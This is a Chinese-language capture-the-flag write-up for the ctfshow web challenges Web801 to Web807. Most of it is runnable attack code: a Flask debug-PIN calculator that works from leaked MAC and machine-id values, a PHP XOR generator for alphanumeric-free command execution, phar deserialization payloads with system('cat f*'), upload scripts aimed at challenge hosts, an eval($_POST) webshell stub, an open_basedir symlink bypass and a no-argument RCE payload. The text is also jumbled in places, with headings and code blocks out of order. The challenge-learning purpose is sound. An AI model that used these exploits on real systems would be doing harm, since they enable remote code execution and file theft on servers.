ctfshow web入门 常见姿势 Web801-Web810
Web801(flask算PIN)非预期解
/file?filename=/flag
预期解 计算pin码
/file?filename=/etc/passwd
发现能查看 说明是root
先查MAC地址
/file?filename=/sys/class/net/eth0/address
02:42:ac:0c:b1:e2
再查machine-id
/file?filename=/proc/sys/kernel/random/boot_id
/file?filename=/proc/self/cgroup
225374fa-04bc-4346-9f39-48fa82829ca9849ded351bf3457d3ba183f88102b90cabc7985317b3721f646e0e913a24fe8d
import hashlib
import getpass
from flask import Flask
from itertools import chain
import sys
import uuid
import typing as t
username='root'
app = Flask(__name__)
modname=getattr(app, "__module__", t.cast(object, app).__class__.__module__)
mod=sys.modules.get(modname)
mod = getattr(mod, "__file__", None)
probably_public_bits = [
username, #用户名
modname,#一般固定为flask.app
getattr(app, "__name__", app.__class__.__name__), #固定，一般为Flask
'/usr/local/lib/python3.8/site-packages/flask/app.py', #主程序（app.py）运行的绝对路径
]
print(probably_public_bits)
mac ='02:42:ac:0c:b1:e2'.replace(':','')
mac=str(int(mac,base=16))
private_bits = [
mac,#mac地址十进制
"225374fa-04bc-4346-9f39-48fa82829ca9849ded351bf3457d3ba183f88102b90cabc7985317b3721f646e0e913a24fe8d"
]
print(private_bits)
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv=None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num.rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
python3.8要用sha1 python3.6要用MD5#MD5
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'25214234362297',# str(uuid.getnode()),/sys/class/net/ens33/address
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num.rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)web802（无字母数字命令执行）
<?php
$myfile = fopen("C:\\Users\\26387\\Desktop\\rce.txt", "w");
$contents="";
for ($i=1; $i < 256; $i++) {
for ($j=1; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/|/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);?>
Web803（phar文件包含）
接着上传文件
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
$content = $_POST['content'];
if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
if(file_exists($file.'.txt')){
include $file.'.txt';
}else{
file_put_contents($file,$content);
}
}Web804（phar反序列化）
[无参RCE攻防技巧-CSDN博客](https://blog.csdn.net/qq_45570082/article/details/106602261)
利用session_id
import requests
url="http://6eda48f3-8082-442d-8823-c1cc2d7a2cdf.challenge.ctf.show/"
data1={'file':'/tmp/a.phar','content':open('C:\\Users\\26387\\Desktop\\shell.phar','rb').read()}
data2={'file':'phar:///tmp/a.phar/a','content':'123','1':'system("cat f*");'}
requests.post(url,data=data1)
r=requests.post(url,data=data2)
print(r.text)
但是发现session已存活
无法改变Session_id，此方法失败。
利用get_defined_vars ()函数
get_defined_vars()：返回由所有已定义变量所组成的数组
而get_defined_vars()返回的又是一个数组，我们能够通过php的一系列数组函数读取到该数组中任意我们想要的值
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);
class hacker{
public $code;
public function __destruct(){
eval($this->code);
}
}
$file = $_POST['file'];
$content = $_POST['content'];
if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
if(file_exists($file)){
unlink($file);
}else{
file_put_contents($file,$content);
}
}我们先current定位第一个get
<?php
class hacker{
public $code;
public function __destruct(){
eval($this->code);
}
}
$a=new hacker();
$a->code="system('cat f*');";
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setMetadata($a);
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "<?php eval(\$_POST);?>");
$phar->stopBuffering();
?>
对于next() end()等函数我们可以举例子利用看看
这里我们就用end()了
import requests
url="http://438d535d-6030-47bf-964d-f1054ab03155.challenge.ctf.show/"
data1={'file':'/tmp/a.phar','content':open('C:\\Users\\26387\\Desktop\\shell.phar','rb').read()}
data2={'file':'phar:///tmp/a.phar','content':'123'}
requests.post(url,data=data1)
r=requests.post(url,data=data2)
print(r.text)发现可以显示"1"，那我们只需要前面套个eval进行命令执行
<?php
error_reporting(0);
highlight_file(__FILE__);
eval($_POST);
或者
<?php
$c = "glob:///*";
$a = new DirectoryIterator($c);
foreach($a as $f){
echo($f->__toString().'
');
}
?>
利用getallheaders()
getallheaders返回当前请求的所有请求头信息
我这里注入点用的是UA头
<?php
$a = $_GET['c'];
if ( $b = opendir($a) ) {
while ( ($file = readdir($b)) !== false ) {
echo $file."
";
}
closedir($b);
}
?>利用scandir()函数
获取当前目录文件
<?php
/*
* by phithon
* From https://www.leavesongs.com
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
mkdir($paths[$i]);
chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
mkdir($name);
chdir($name);
$j++;
}
for ($i = 0; $i <= $j; $i++) {
chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');
function getRelativePath($from, $to) {
// some compatibility fixes for Windows paths
$from = rtrim($from, '\/') . '/';
$from = str_replace('\\', '/', $from);
$to = str_replace('\\', '/', $to);
$from = explode('/', $from);
$to = explode('/', $to);
$relPath= $to;
foreach($from as $depth => $dir) {
// find first non-matching dir
if($dir === $to[$depth]) {
// ignore this directory
array_shift($relPath);
} else {
// get number of remaining dirs to $from
$remaining = count($from) - $depth;
if($remaining > 1) {
// add traversals up to first matching dir
$padLength = (count($relPath) + $remaining - 1) * -1;
$relPath = array_pad($relPath, $padLength, '..');
break;
} else {
$relPath = './' . $relPath;
}
}
}
return implode('/', $relPath);
}
function delfile($deldir){
if (@is_file($deldir)) {
@chmod($deldir,0777);
return @unlink($deldir);
}else if(@is_dir($deldir)){
if(($mydir = @opendir($deldir)) == NULL) return false;
while(false !== ($file = @readdir($mydir)))
{
$name = File_Str($deldir.'/'.$file);
if(($file!='.') && ($file!='..')){delfile($name);}
}
@closedir($mydir);
@chmod($deldir,0777);
return @rmdir($deldir) ? true : false;
}
}
function File_Str($string)
{
return str_replace('//','/',str_replace('\\','/',$string));
}
function getRandStr($length = 6) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$randStr = '';
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $randStr;
}获取上级目录文件
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>/?code=eval(hex2bin(session_id(session_start())));
end() - 将内部指针指向数组中的最后一个元素，并输出。
next() - 将内部指针指向数组中的下一个元素，并输出。
prev() - 将内部指针指向数组中的上一个元素，并输出。
reset() - 将内部指针指向数组中的第一个元素，并输出。
each() - 返回当前元素的键名和键值，并将内部指针向前移动。经过测试 发现能读取当前目录的文件内容，但是读不到根目录的内容（可能是我太菜了呜呜呜，有知道的师傅可以私信T我一下）
Web807（反弹shell）
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